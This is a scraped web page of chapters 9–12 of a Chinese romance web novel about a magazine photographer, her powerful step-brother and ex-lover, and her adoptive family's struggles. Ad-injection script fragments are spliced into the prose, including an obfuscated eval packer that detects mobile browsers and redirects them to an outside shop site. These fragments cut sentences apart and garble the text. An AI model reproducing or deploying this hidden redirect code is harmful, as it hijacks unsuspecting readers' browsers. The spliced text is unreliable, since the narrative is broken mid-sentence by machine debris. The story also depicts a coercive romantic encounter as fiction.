秦先生的秘书笑说:“这可真是不好意思,我们秦总每天的应酬实在太多,至于今天的访谈,已经是他特地挤出来的时间,所以可能实在没办法给你们一个准确的答复。” “这样好了,你们先坐在这好好的喝下午茶,晚点我再去询问一下秦总那边的消息。” 钟栖月说:“麻烦你了,主要是这已经是我们第三次来贵公司。” 这次访谈早就已提前约好时间,每次来了,秦先生那边都会被其他事给拖住,弄得他们好几次空手而归。 眼看着主编交下来的期限是最后一天了。 要是今天还完成不了这支专访,主编那边本来就因为杨琼吃了闭门羹的事心里头火大得很,指不定会把怒气都撒向她们这个组。 那秘书细细打量了眼钟栖月,敷衍应了声好。 接待室的门关闭,刘露只得气得喝咖啡消火,“什么嘛,不就是看不上我们的工作,根本不想配合而已,做事业再成功有什么用,一点素质都没有,约定好的事也能再三毁约。” 陶梦梦刷了下手机,兴致缺缺说:“我看也没什么专访这位的必要了,架子这么高,就算我们采访他,也问不出什么有效的内容,回头主编还不是要说我们。” “那能找谁?目前这个秦光可是金融界最炙手可热的新贵,我实在想不到有谁能顶替他。” “我想到了一个人。” “谁啊?” “纪冽危。” 钟栖月正在调试相机的手微微一顿。 就听到陶梦梦说,“主编不是一直想拿下纪先生的专访吗?如果我们有办法做到,这个秦光在主编眼里也就是盘剩菜了。” “你这话说的,好像我们想专访人家纪先生就会同意似的,你想想,杨琼可是有熟人认识纪先生,都不给面子吃了闭门羹,我们?” 陶梦梦也停止了做梦,“你说的有道理,算了,我们还是等秦先生良心发现吧。” 又等 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了半小时,秦光还是没来会面。 秘书过来传话,面露抱歉道:“实在不好意思啊,本来秦总是要过来的,但临时要接见一位贵客,所以这边的专访,大概是……” 刘露脸色难看:“我们又要回去呗?” 秘书说:“只能这样了,改天我再联系贵杂志社。” 从接待室出来,刘露和陶梦梦情绪都不太好,刘露肩膀上挂着相机,正心烦着,手一提,一不小心让相机刮到了身旁路过那人的衣服。 那人停下,看着自己手臂那刮出来的丝线,脸色阴沉。 刘露连忙道歉,“对不起啊,我不小心的。” 秦莎指着损坏的衣服,“对不起有用?衣服都坏了,你直接赔吧。” 刘露看了眼这衣服的牌子,人都傻了,这哪里是她这个拿普通工资的人能赔得起的? 她找钟栖月求救,问她该怎么办。 钟栖月应该是她们这最有钱的,虽然家世神秘,但经常会看到她穿一些名牌。 “月月,这该怎么办?” 钟栖月看了眼秦莎,知道她那件已经不仅是名牌,还是限量的。 一时也很为难。 她还没开口说话,秦莎冷笑:“我说的赔,不是赔钱,是赔一件一模一样的衣服。” 秦莎看向钟栖月,觉得有点眼熟,指着她:“我是不是在哪见过你?” 钟栖月跟她商量说,“这位小姐,您这衣服是限量版,我们现在也没办法给您找件一模一样的,如果您不介意的话,我这边可以想办法看能不能让衣服恢复成原状。” 这件针织衫,只拉出了半根丝线,如果有上好的裁缝,要恢复成原状应该不难。 秦莎也没纠结哪里觉得钟栖月眼熟了,听了这话火大:“一件损坏的衣服再怎么恢复原状也不是最开始的那件,你懂吗?它已经被彻底毁了!” “怎么了这么吵。” 这边的动静惹得不少人围观,也引得办公室内的秦光出来,看到自己妹妹在跟几个陌生人争执,秦光维护道:“你们有事?” 钟栖月回道:“抱歉,我同事不小心损坏了秦小姐衣袖的一根线,我们这边正在协商处理。” 秦光没理她,侧过身和身旁另一个人说话:“纪先生,公司忽然出现了这个意外状况,也是让纪先生见笑了。” 纪冽危淡笑:“不碍事。” 他的视线,若有若无地从钟栖月的脸上掠过去,漫不经心说:“这位小姐,倒是伶牙俐齿的。” 秘书过来跟秦光说了钟栖月等人的身份。 秦光皱眉:“你们还没走啊?” 这句话让杂志社三个人都觉得很难堪,敢情等了一下午,秦先生压根就没打算接受这个访问,全都是秘书在和稀泥。 钟栖月白皙的面容微微泛着凉意,“秦先生,我们杂志社已经跟您预约了几次访谈,贵公司也答应了专访的事,却三番两次爽约,我们很好奇,这么大一个公司,这么让人尊敬的人物,是怎么能做到这么理所当然毁约的?” 在这么多员工面前,当众质问秦光毁约的事,简直就是把秦光的脸面按在地上踩。 秦光也没打算给她脸:“请保安把她们赶出去!” “慢着。” 听到纪冽危的声音,秦光诧异:“纪先生,您还有什么事吗?” 纪冽危单手插兜,看向钟栖月。 “这位小姐说的有理,答应了的事,怎么能毁约?” 秦光脸色微变,连忙解释:“也没毁约,就是行程太满,这边实在挤不出时间了。” “这样啊。”纪冽危偏头,笑问:“秦先生要是不介意的话,方便让我跟这位杂志社的摄影师小姐谈一谈,说服她不要计较秦先生毁约的事吗。” 秦光不解,但只能照做:“那,纪先生请。” 纪冽危眼神朝接待室一瞥,“摄影师小姐,请进。” 10. 第 10 章 今天下午,钟栖月本该在这间接待室,完成对秦光的个人专访。 此时此刻…… 看着面前衣冠楚楚,坐姿松弛的男人,她心里忽然觉得有几分沉重。 这里不是纪氏集团。 而是其他人的公司。可纪冽危竟然能在别人的公司这样从容不迫,分分钟就掌控了旁人的领地。 “我们该从哪一步开始,摄影师小姐。” “听闻杂志社的专访,需要有记者负责采访,其他记者负责拍摄,不过现在就只有摄影师小姐一人,看来采访内容只能暂时歇下,这边拍摄麻烦一下。” “需要请人进来打光吗?” 钟栖月抿唇:“不需要。” 他皮肤本来就白,五官立体,不需要打光板,上镜也会很好看。 “纪先生。”钟栖月手中握着相机,认真说:“我今天是来专访秦先生的。” 纪冽危弯唇:“原来摄影师小姐也知道我姓纪啊。” 钟栖月沉默。 他敛了笑意,淡声问:“怎么不叫哥哥了?” 钟栖月说不合适,“现在是外面。” 他站起身,用桌上的遥控器关了帘子,瞬间,外面就看不到里面的景象了。 纪冽危这个的举动,让钟栖月很慌乱:“你做什么啊,外面的人看到忽然拉上帘子,会乱猜测我们在做什么的!” “做什么?”纪冽危把玩着手中的遥控,漫不经心说:“钟栖月,你多久没有对哥哥有这样质问的语气了。” 自从上个月回国后,她每次看到他,都像老鼠见了猫似的,又回到了她刚到纪家时见到他的样子。 不,严格来说,比初到纪家的恐惧更严重。 好像他是什么洪水猛兽,她避之不及。 “你不记得了吗?当初你都敢咬哥哥,弄疼了你,你还会生气两天不想理我。” 纪家所有人都说钟栖月乖顺听话,也从没人看过她发脾气,可他却见过她无比鲜活生动的模样,那时候的她,笑是真的开心,生气也不会隐瞒。 而不是像现在,笑的时候,你根本不知道她开不开心。 钟栖月嘴唇微白:“现在不是那个时候了,纪先生,你先把帘子拉起来好吗?” 她都能感觉到外面有点骚动,担心外面的人会闯进来,钟栖月顾不了那么多,扑上去要抢遥控。 他腿靠在桌边,轻易便搂住她的腰肢,转过身,两步便将她往墙边按。 钟栖月下意识搂抱他肩颈,紧张的声音微喘:“哥,不要这样,这里有监控。” 纪冽危将她按的位置,是一个死角,他说:“没人看到的。” “栖月,我们的那四年,已经让我练就了一手偷.情的好手段。” “你不要这样说,”钟栖月心里一颤,声音很小,生怕有人听到:“我们能不能好好说话,哥哥。” 他的手还扶着她的腰,分明只是贴着,什么也没做,却让她觉得那片的肌肤都是滚烫的。 这个男人总是这样,看似衣冠楚楚,外表是清冷得体的贵公子,实则内心有无比顽劣又爱折磨人的癖好。 他肯定知道她现在多么胆战心惊,故意这样做。 钟栖月还记得,之前交往的时候,有次被纪冽危看到她和男同学走的近了,后来他惩罚她,是在练舞室的换衣区,将她按在墙上欺负。 嘴里在哄她,手下的动作却半点都不怜惜。 门外是她的男同学,听她声音不对劲,问她是不是哪里不舒服。 那时候她紧张得不行,就怕那个男同学会推开那扇门,看到他们那样衣衫不整的样子。 “好好说话,哥哥怎么不是在跟你好好说话?” “没人比钟栖月更懂,纪冽危不好好说话的时候,说的是什么。” 听到这句话,钟栖月脸色一变,想起曾经那些,眼眸也不自觉睁大。 “哥,我不访问秦先生了,我错了,我现在就跟同事回去好不好?” 纪冽危把她松开,“刚才栖月说秦光三番两次毁约不好,正好我也想问问你,三番两次欺骗人是不是更不好?” “我欺骗什么了?” “你欺骗我的还少了?” 钟栖月再度沉默。 纪冽危转身落坐,眼神指着前面的椅子:“坐吧。” 钟栖月摇头:“我该走了。” “你不是今天完成不了访问没办法交差?” “可是秦先生他……” 接待室的灯光落在他精致的眉眼处,他淡声说:“你那同事说是找了个我的熟人打关系要访问我,那熟人我不过一面之缘,但她也可以对外面说跟我关系很好。” 原来是这样啊,钟栖月也不意外,就说纪冽危才不会因为一顿饭就会给人面子。 “我们什么关系,你却在杂志社当跟我完全不认识,钟栖月,你工作遇到难题了也不晓得来找我?” 钟栖月抿了抿唇瓣,叹气说:“我知道你一向不喜欢出现在公众视野内,所以……” “这时候又觉得自己了解我了。” 他嗓音淡漠,没什么起伏,却听出了几分阴阳怪气的味道。 钟栖月小声拜托他:“哥,你能不能别为难我了。” 纪冽危黑眸盯着她看了半晌,最终用遥控把帘子打开,“去把你同事喊进来。” 钟栖月纠结了会,他说:“你别以为是看在你的面子上,纯粹是我今天来这边办事,空出来了半个小时。” “……好。” - 纪冽危简单接受了个专访后,便走了。 是秦光亲自送他出去的。 接待室内,刘露和陶梦梦还在复盘刚才的情况,一双星星眼惊喜道:“真没想到今天让我们捡到了这个大便宜!竟然访问到纪先生了。” 陶梦梦见钟栖月还在看相机,好奇问:“月月,你那十分钟在里面跟纪先生发生了什么啊?那帘子拉上了我们都看不见。” 钟栖月早就想好了说辞,“纪先生问我今天来这里的情况,和要访问秦先生的主要内容,他很体谅我们工作的不容易,就说正好自己有时间,就当做个好人帮我们完成任务了。” “就这样?” 钟栖月点头,“嗯,就这样。” 刘露语气里是对纪冽危藏不住的欣赏:“纪先生真的好有涵养哦,说话得体让人觉得舒服,不仅长得好看,就连声音都好听,这半个小时的访问我恐怕能记一辈子了。” “这真正的成功人士啊,肚量就是大,真正有能力的人才不会看不起我们普通人,不像有些人啊,还没真正站稳脚跟就看不起我们老百姓了。” 秦莎进入接待室听到这句话,火气大得很:“你们在说谁呢?我哥就是不接受你们的专访又怎样?一群low货!” 三个人都没接话,秦莎觉得被无视了,更生气,她指着钟栖月:“我衣服的事还没完!” 正好秘书进来,对秦莎附耳一句。 她听了不爽,问道:“凭什么就这么算了?我哥说的?我哥怎么舍得我受委屈啊?” 秘书答:“这是秦总交代的,说您之前在那吵闹的事被纪先生看到了,给咱们公司留下了不太好的印象,所以秦总就让您息事宁人。” 听到衣服的事就这么算了,刘露也松了一口气。 三人拿到了纪冽危的独家专访,当然恨不得赶紧离开秦氏集团了,趁着秦莎还在生气,匆匆离开了。 结束了工作,钟栖月回了纪家。 纪家这时候也正是晚饭时间,她上楼洗手换了衣服,下楼进厨房帮忙,刚进去便听到做饭阿姨和佣人在聊天。 佣人问:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你们下午听到了吗?” “听到什么?” “就是三楼的主卧那,吵架的声音真大,我下午去楼上清扫楼道听到的。” 主卧,不就是纪东原和钟蕊的卧室吗? 话说到这,有个佣人看到钟栖月进了厨房,连忙闭嘴,笑着喊了声月小姐。 钟栖月点头,说自己进来帮忙端菜的。 阿姨夸她懂事,然后把一盘比较简单的菜式递给她,钟栖月出厨房时还听到佣人在小声说。 “这母女俩在纪家也是难捱,钟夫人这么多年还没得到纪家的认同呢,也不知道今后该怎么办。” 饭菜都盛好后,家里人也陆续下楼吃饭了。 钟蕊下楼时,虽还是如往常一样,总是优雅知性的样子,但钟栖月看出来了,她哭过。 今晚的晚饭,大多数人都没到齐。 纪老爷子失落地说:“冽危这孩子啊,总说好听的话哄爷爷,今晚又没回来陪爷爷吃饭了。” 纪灌云不满说:“爷爷,我也是您孙子,怎么就看不到我?我还乖呢,为了纪家的开枝散叶都开始交女朋友了。” 纪老爷子笑他调皮,跟还没长大的孩子似的。 晚饭过后,钟蕊喊钟栖月去后院的小凉亭谈话。 夜风吹拂徐徐热气,钟栖月穿着一身白色的家居睡裙,坐在凉亭内的石凳上,对面,是一脸忧愁的钟蕊。 钟蕊很少会表现出脆弱的一面,钟栖月见到她这样的时候也不多。 如果能让她这样连最基本的掩饰都做不到,那么只有一种可能,那件事跟她的儿子纪初冬有关系。 钟栖月一直都清楚,钟蕊在纪家顶着眼色过日子,不全然是为了自己能过上富太太的生活,还为了自己的儿子。 “妈,是初冬出什么事了吗?” 钟蕊叹说:“我已经联系不到你弟弟了。” “为什么?”钟栖月讶异。 “上一次联系还是一个月前,初冬跟我打电话说最近要忙着学业,要很少有机会跟我联系了,我也没当回事,今天打了个十几个电话,微信那边也完全不回复。询问了那边照顾初冬的人,也取得不到联系。” “月月,妈妈是真的担心他在国外出了什么事。” “纪叔叔呢?他没说什么吗?” 提起纪东原,钟蕊眼里的怨恨一闪而过,轻声说:“他说会尽量帮我想办法跟初冬联系到,还安抚我说孩子没事,只是忙于学业,没时间理我而已。” “可我觉得没那么简单,他出国两年没回,你纪叔叔纪爷爷都没有半点担心,好像……” 好像他们知道,这次出国,就不会让他回了一样。 关于纪东原为什么没让钟蕊正式成为纪夫人这件事,在纪家其实一直都有这样的流言。 钟栖月听说,当年纪冽危的兄长纪安知出车祸去世,起因是,那时候纪东原在外面包养了钟蕊,有天他夜里离开,打算去随南给钟蕊过生日,然而不巧,当天晚上也是纪安知的生日。 纪安知苦苦哀求父亲留下陪他。 纪东原本想留下,后来接到了钟蕊的电话,最终还是抛下自己的儿子。 后来,纪安知出去追父亲,发生车祸没了。 纪冽危的母亲,也是在长子车祸离世的悲痛下接受不了打击,当晚选择自尽。 因为这层原因,钟蕊始终没办法正式嫁进纪家。 直到纪初冬年岁渐长,纪老爷子不愿意纪家的血脉流落在外,才总算松了口,把钟蕊一家接到了纪宅居住。 钟蕊忧心忡忡:“我总觉得,好像是有人设了一个大局,就不想让我们母子能在一起。” 是啊。 如果真的有人做局,那做下这些事的,会是谁呢? 钟栖月不可控制地,想到了那双清冷淡漠的双眼。 11. 第 11 章 那天晚上,钟蕊跟钟栖月说了许多真心话。 说自己为了钟栖月和纪初冬付出了太多,在纪家这么多年,她的隐忍不是为了给自己换来高枕无忧的生活,是为了让自己的两个孩子有一个很好的未来。 “月月,妈妈从小对你要求严苛,让你学跳舞画画,就是为了让你从小培养出名媛千金的气质,你小时候在随南没有出去过,见到的都是小镇里的普通小孩,你不会知道大都市里,那些上流社会的人过的都是什么样的日子。” “只要看了一次,你就不想回到那个小镇子了。” 她说:“月月,做个舞蹈家吧,当个画家开画展吧,这样那些人都会高看你,会觉得你被艺术熏陶,也会觉得我们跟她们是同一类人的。难道你还想回到随南那个小地方吗?” 钟蕊口中说不想回去的随南,是钟蕊的出生地,也是钟栖月从小长大的地方。 钟栖月幼时父母在随南出车祸双亡,那时候她连一岁都没有,很侥幸地捡回了一条命,被钟蕊的亲生母亲赵槐捡了回去。 赵槐看她可怜,又见钟蕊前不久为纪东原流掉了一个孩子,就把捡到的钟栖月交给她。 “蕊蕊,你看这孩子多漂亮,养她吧。” 后来,她就这样成为了钟蕊的养女。 起初钟蕊是不太喜欢她的,不是亲生骨肉怎么会喜欢,加上她才痛失一个孩子,钟栖月的出现,总让她觉得是顶替了她原本孩子的存在。 那时候,钟栖月的日子很不好过。 直到后来,纪初冬出生了。 钟蕊的性子变柔软了许多,也开始为自己的孩子打算起了未来,她也说不会抛下钟栖月,“月月,你也是妈妈的孩子,在妈妈心里跟初冬一样重要。” 那时候,钟栖月把这句话当真了。 后来她才知道。 钟蕊会这样用心栽培她,是想要她今后能更好的融入纪家这样的家庭,也是为了让所有人知道,她钟蕊养出来的孩子,是端庄娴静乖巧听话的女儿,才不是情妇养出来的狐狸精。 因为钟栖月的听话,钟蕊在纪家的确受到了不少的称赞。 钟蕊苦心经营了许久,总算渐渐融入了她一直很想融入的上流社会,也开始成为旁人口中端庄优雅的夫人。 即使,至今没有得到纪家真正的认可。 - 隔日上班,开会时,宋凝主编主要夸奖了钟栖月所在的这个组。 能拿下纪冽危的独家个人专访,对整个杂志社而言,无疑是最大的好消息,关于秦光那边的问题,主编也没那么在意了。 会议结束,杨琼瞥见刘露等人灿烂的笑容,没忍住讽刺说:“也是让你们捡漏了,下次可没这么幸运的时候。” 刘露毫不客气反讽了回去:“那也总比某些人吃了闭门羹,连纪先生的脸都没看到强,不像我们月月,是纪先生特地邀请她进接待室谈话的呢。” “听清楚,是纪先生主动邀请的哦。” 杨琼皱眉:“你觉得我会信?钟栖月凭什么得到纪先生的另眼相待。” “凭什么不行?我们月月不行,难道你就行了?你要是行的话,怎么会吃闭门羹?” “你!” 因为这件事,这次跟杨琼的梁子是彻底结下了,但刘露觉得心里可爽。 下午下班的时候,刘露打算跟钟栖月和陶梦梦大吃大喝一顿,恰逢这时,钟栖月接了一通电话,为难表示自己不能跟她们吃饭了。 “怎么了,有约啊?” 钟栖月正在收拾包包,“嗯,我妈给我介绍的相亲对象,实在推不了,我们下次再约好了。” “败给你了,既然是相亲对象就赶紧去吧。” 钟栖月先离开了杂志社,刘露和陶梦梦说,“月月大概要有男朋友了。” “真的啊?” “还能有假?她刚跟我说了相亲对象。” 半个小时后,钟栖月赶到一档高级餐厅和明廷笙约见面。 “抱歉,我来迟了。” 明廷笙绅士地请她入座,“没关系,我也刚来。” 点好了菜,明廷笙主动谈起她工作的话题,“钟小姐是摄影师,据我所了解,相机都挺沉的。” “还好,毕竟我也不可能时时刻刻要扛着相机。平时就当在举重了。” 她笑容浅浅的,一本正经说出这句话,明廷笙楞了须臾,遂笑出声:“没想到钟小姐是个这么幽默的人。” 这,幽默吗?钟栖月不懂他笑点。 吃饭过程中,两人也如先前那般简单的交谈,并没有深入。 这个相亲也没有像钟栖月想象中的那般,有更进一步的发展,例如问她的兴趣爱好,打听她的隐私,再发一点自己很自信的自拍,说想做她的强。 明廷笙给她的感觉,很舒服。 这两次吃饭下来,她感觉的出来,明廷笙大概也是应付家里的情况被迫出来相亲的。 大概是看出来她也是为了应付家里人,关于这点,两人心照不宣。 刚吃完饭,明廷笙提议去哪里散步消食。 忽然有个手中拎着西装的男人迎面走来,跟明廷笙打了个招呼,“廷笙,你今晚在这吃饭?” “砚川?”明廷笙惊讶:“真巧,你也在?” 是明廷笙的熟人,钟栖月礼貌地站起来。 男人生得俊朗,鼻梁上架着一副细框眼镜,温雅斯文的长相,有一种艺术气息。 他朝钟栖月看了眼,询问:“这位小姐是?” 明廷笙介绍:“我朋友,钟小姐。” 钟栖月朝他颔首。 段砚川淡笑地嗯了声,猜测是明廷笙新的相亲对象,不过刚听他主动提起要跟这个相亲对象去散步,大概率应该是满意的,较比之前的,连一顿饭都难以坚持下来。 两人简单寒暄了几句,段砚川就说跟朋友有事先走了。 明廷笙笑着跟钟栖月解释,“我这朋友是个随性的性子,目前是个知名陶艺师。” “陶艺师啊。”钟栖月轻声喃喃。 “怎么了,钟小姐,哪里很奇怪吗?” 钟栖月摇头:“没有。” - 晚上九点,明廷笙亲自送钟栖月回到了纪宅。 夜色浓稠,夜里刮起的风吹起钟栖月的裙角,她站在原地,目送明廷笙的车子离开后,才返回了屋内。 这个点家里人已经吃过饭上楼休息,一楼只有钟蕊。 看样子是特地等她回来。 钟蕊问她跟明廷笙相处的怎样。 她答:“还是老样子。” 钟蕊皱眉:“月月,你要主动一点,像明家这样的家教,明廷笙是个很有绅士风度的人,如果你不主动,你们之间只会一直维持这样的关系。” 钟栖月把包放下,认真询问:“妈,您是真的想让我嫁到明家?” “明家有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13812225|146173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不好?如果你嫁给明廷笙,就是名正言顺的明太太,懂吗?” 钟栖月觉得可笑,“您觉得,我想嫁,明家就会娶?” 这个问题把钟蕊问的哑口无言,几秒后,她说:“至少现在是有希望的。” “嫁给他了,然后呢?”钟栖月问。 “然后当然是过你幸福的富太太生活了。” 钟栖月想说,然后她嫁到明家,从明家获取资源协助纪初冬,不是吗? 她们都很清楚。 只要这个纪家有纪冽危在,就很难有纪初冬的出头之日,所以钟蕊早就做好了两手打算。 钟蕊脸上的笑淡了去:“月月,人要懂得感恩。不要忘了,是谁救了你,也不要忘了,谁抚养你长大,更不要忘了你现在所享受的一切,是谁顶着那些压力给你换来的。” 钟栖月垂眸:“我没忘。” “不过时间不早了,刚相亲回来,我累了,想休息。” 钟蕊态度也软了点,“上去洗个热水澡,早点睡吧。” 钟栖月上楼,脚底踩着一层又一层的台阶,觉得无比的疲惫,纪家的这些台阶,像是象征着他们这种普通人永远都无法跨过的鸿沟。 呵,她轻轻笑了声。 身后传来钟蕊的声音:“对了,托养中心那边传消息说,你外婆状态不错。” 钟栖月回了声,嗯。 ………… 上了三楼。 进入房间前,钟栖月目光朝对门的方向看去一眼。 门缝都是漆黑的,那想必他还没回来。 专访的事过后,纪冽危也没再出现在她面前了,他总是忙碌的。他手中目前掌管了纪家旗下无数产业。 听说那些都是纪老爷子交给他打理的,直接越过他父亲叔父,把纪家最大的权利都交给了纪冽危。 不怪他现在无论走到哪都是众星捧月的,生来便是万众瞩目的人,无论是家世还是长相都如此优越,这样的他就应该活在大家艳羡的视野中,他每天有忙不完的应酬,有签不完的合同,他的世界是丰富多彩的,是装满了对她来说的遥不可及。 他们也注定跟是两个世界的人。 钟栖月还记得,他们关系刚开始的时候。 她每日担惊受怕,就担心被纪家的人发现,若是被发现了,那些指责与流言会将她彻底吞没。 那些人会骂她。 你一个寄人篱下的拖油瓶,怎么敢跟纪家最为看重的少爷搅合到一起去。 为了爬纪冽危的床,煞费心思了吧。 果然跟你养母一样不要脸,年纪轻轻就知道勾引男人了。 狐狸精! 那段时间,她几乎日夜做着这样的噩梦。 好几次从噩梦中惊醒,身旁的男人会将她佣在怀里,一次又一次地用无比温柔,从没有在任何人面前展露过的一面哄她。 他说:“栖月,只要你在我身边就好了,那些流言我会替你承担,我们可以共同面对,只要你点头,我们现在就可以牵手出现在纪家人面前。” 他还说:“栖月,你相信吗?为了你,我可以什么都不要。” 他这人喜怒不定,说过很多好听的话,也有很多难听的话,最难听的时候,是在她提出分手的那天。 分手那天,是她现在回想起来,还觉得极度恐慌的场景。 她看到了她从前从未见过的纪冽危。 他像是疯了。 12. 第 12 章 早上宋凝给钟栖月下达了新的工作,让她十点去摄影棚给名模拍封面,听到名模是那个以脾气刁钻著名的唐溪时,刘露等人都为钟栖月捏了一把汗。 但目前B组的摄影师只有钟栖月最拿手人像,要是随便找个摄影师,唐溪那边定有怨言。 钟栖月按时抵达了摄影棚。 唐溪是个专业模特,在镜头里,那张脸极具高级感和氛围感,钟栖月的技术不错,拍摄时还算很顺利。 到中午时,有工作人员买了午饭回来。 唐溪便闹起了脾气。 “我吃不得重油的饭菜,你们不知道吗?” 小妹妹道歉:“溪姐对不起,我这就再给您重新买一份新的午饭。” 唐溪不耐烦地摆手,“去去去。别来烦我。” “又是谁惹到我们溪姐了?”门外传来一道娇笑的嗓音,钟栖月看过去,便对上了秦莎的视线。 短暂凝滞,秦莎率先移开目光朝唐溪走过去。 唐溪惊喜,拉她落坐:“莎莎,你怎么过来了?” “还不是特地来找你玩的,知道你今天在这有拍摄,只是没想到,能看到不该看到的人。” “不该看的人,谁啊?” 秦莎抱臂冷笑:“能是谁呢?” 整个棚内都很尴尬,没人知道秦莎在说谁,都在装听不见。 秦莎挽着唐溪的手,笑着说:“溪溪,你知道吗,我昨天才听说了一件事哦,原来还有人仗着自己做情妇的养母以为自己要成为上等人呢,殊不知,在我们这些人的眼里,她们什么都不是,出生就已经决定自己是什么阶级的人,还妄想往上爬。” 她这段话没有指名道姓,唐溪也不懂她在说谁,稀里糊涂地应付了几句。 午饭吃完了后,钟栖月便提出要赶紧拍摄,把今天的任务完成。 她走过来,秦莎上下扫视她一番,随后,完全没有掩饰地嗤笑一声。 笑声里的嘲讽、贬低、让人感觉出明显的恶意。 而被她这样看着的钟栖月,当没看见,喊人过来给唐溪补妆,再开始拍摄。 直到下午五点,今天的拍摄才算圆满完成,钟栖月在那收拾装备,秦莎过来问她:“钟小姐,晚点我们聚餐,你要来吗?” 钟栖月抬眸看她:“不了,你们尽兴就好。” 秦莎呵呵笑:“有没有人说过,你清高得让人讨厌,嗯?是谁给你的底气?纪家?还是你那养母?” 收好自己的装备,钟栖月淡声说:“那有没有人说过,秦小姐年纪轻轻,恶臭的爹味就这么足了?” 秦莎脸色一变,“你说什么?” “就是秦小姐想的意思,我从小接受的涵养是不会轻易在旁人面前说难听的话让人难堪,不过恰好,我读过很多书,书上说了秦小姐这种人,才是最让人觉得讨厌的。” 说完,钟栖月提着装备转身离开。 秦莎站在原地,气得脸一阵白一阵红的,她正欲追上去,门推开,却在门口看到钟栖月面前站着一男人。 “纪先生?”秦莎变脸很快,娇笑着迎上去,“纪先生今天怎么来这儿了?” 秦光皱眉道:“莎莎,哥哥也在,怎么没看见我?” 秦莎呀了一声:“哥,你也来了啊。” 纪冽危单手插兜,站在钟栖月跟前,垂眸看她。 他们也有将近三天没有见过面了。 即使他每晚都回了纪宅,可每次回房时,她的房间总是锁得死死,大概是知道他在家,防着。 因为这点,纪冽危发现她有一种单纯的可爱。 以为那扇门就能永远把他拒之门外了。 秦光没看出这两人之间的暗流涌动,问妹妹:“你来这干嘛?” 秦莎说来看好姐妹唐溪的,“哥,你呢,你怎么跟纪先生在一起?” “来这栋楼办点事,我和纪先生有个会议要开,你先回去吧。”瞧自己妹妹那一脸娇羞的样子,秦光为难得很,恨不得赶紧拉纪冽危离开。 “纪先生?我们该走了。” 纪冽危淡淡颔首,朝秦光一笑,斯文得体:“抱歉,我跟我妹妹有几句话想说,秦先生方便带着令妹离开吗?” “妹妹?” 秦光震惊的眼神一扫从遇到起,就沉默着没有说话的钟栖月。 这不是前几天在他公司跟他吵架的那个女人? 秦光来不及多想,拽着秦莎赶紧离开了。 该来的还是来了。 钟栖月选择坦然面对,轻轻地喊了声:“哥。” 三天没听到她的声音了。 纪冽危沉默了会,插在兜里的手指微微动弹:“今天在这拍摄?” 她老实答:“是的。” “下班了?” “是的。” “一会儿是不是有约?” 钟栖月眼睫微颤,没有第一时间回答。 纪冽危替她答了:“跟明廷笙约好去吃饭,对吗?” “……是。” 纪冽危扯唇笑了笑:“栖月,你现在都不屑编理由来骗哥哥了。” 那时候,她跟自己发小出去玩,偷偷摸摸的,事后被他问去哪儿了,还会骗他跟同学去图书馆看书。 现在呢,原来跟相亲对象约会,对他这个哥哥也不打算隐瞒了。 “我该走了。”跟明廷笙约好的时间,还有四十分钟。 钟栖月提醒。 面前的男人没有让步,也没有放话让她离开,跟他独处的每一分每一秒,目前对钟栖月来说,都是煎熬。 她不知道,他下一秒会做出什么举动。 这里可不是那个接待室,有门,有帘子,这里是外面,是电梯外,随时都会有人进来。 纪冽危是什么人,谁不认识? 心脏跳得很快,一下又一下的。钟栖月默默叹息,好像此刻,她和纪冽危在比耐性,谁先急了,谁就是先退缩的那个人。 而她,在这一点,从来比不过他。 钟栖月主动开口:“哥,我真的该走了。” 纪冽危哦了声:“我没让你走?钟栖月,你知不知道,你每次在哥哥面前都很不一样。” “还是说,你存心钓着哥哥?知道哥哥就吃你这套。” “我没有!”她抬起头来,眼眸闪着细碎的光:“我只是希望,我们能彻底断干净,像以前一样就好。” 她不奢求纪冽危把她当妹妹了,当陌生人就行,像她刚来到纪家,碰到面也不会朝她打招呼的那种冷漠关系。 “像从前一样?钟栖月,你还记得,你刚来纪家的时候,我对你怎样?” 她当然记得,那时候,纪冽危很讨厌她的。 后来,后来他们也恋爱了,很甜蜜,他也对她很好很好了,再后来分手,导致成了这样不正常的兄妹关系。 如果早知这样,她宁愿纪冽危像从前一样讨厌她。 “哥,就当我求你了。”钟栖月眼里含着隐隐的哀求,看着他的眼说。 “你求我?”纪冽危抑制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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佣人:“钟夫人,二少爷屋子里的东西我们不敢碰,他说的文件我们也不知道是什么。” 钟蕊温声道:“那我去找吧。” “谢谢钟夫人了。” 推开了纪冽危的房门。 钟蕊先在他书桌翻找,没找到,遂又打开抽屉,总算在第三层的屉子发现了类似公司资料的文件。 她从中取出,正打算关上抽屉,眼角余光,不慎被里面的一副画像吸引。 钟蕊放下文件,取出那幅被珍藏起来的画像。 书桌的台灯,照亮画像,那张清纯的面容栩栩如生。 画像中的少女,穿着一身白色的连衣裙,她就坐在纪家后院凉亭旁的碧波湖畔,身形柔弱,娴静乖巧,风扬起她乌黑的长发,盈盈笑意在唇边弥漫,笑容恍若明月。 那是一张钟蕊极其熟悉的面容。 画像中的人是她的养女,钟栖月。 而画像中的少女,鼻梁上却没有戴钟栖月平常该戴着的眼镜。 画中人摘下了眼镜,这幅模样,与平时的钟栖月只有八分相似。 为什么,纪冽危的房里,会有一张这样的画像。 他为什么,会把钟栖月的画像,珍藏起来?还是说,这幅画是纪冽危自己画的? 13. 第 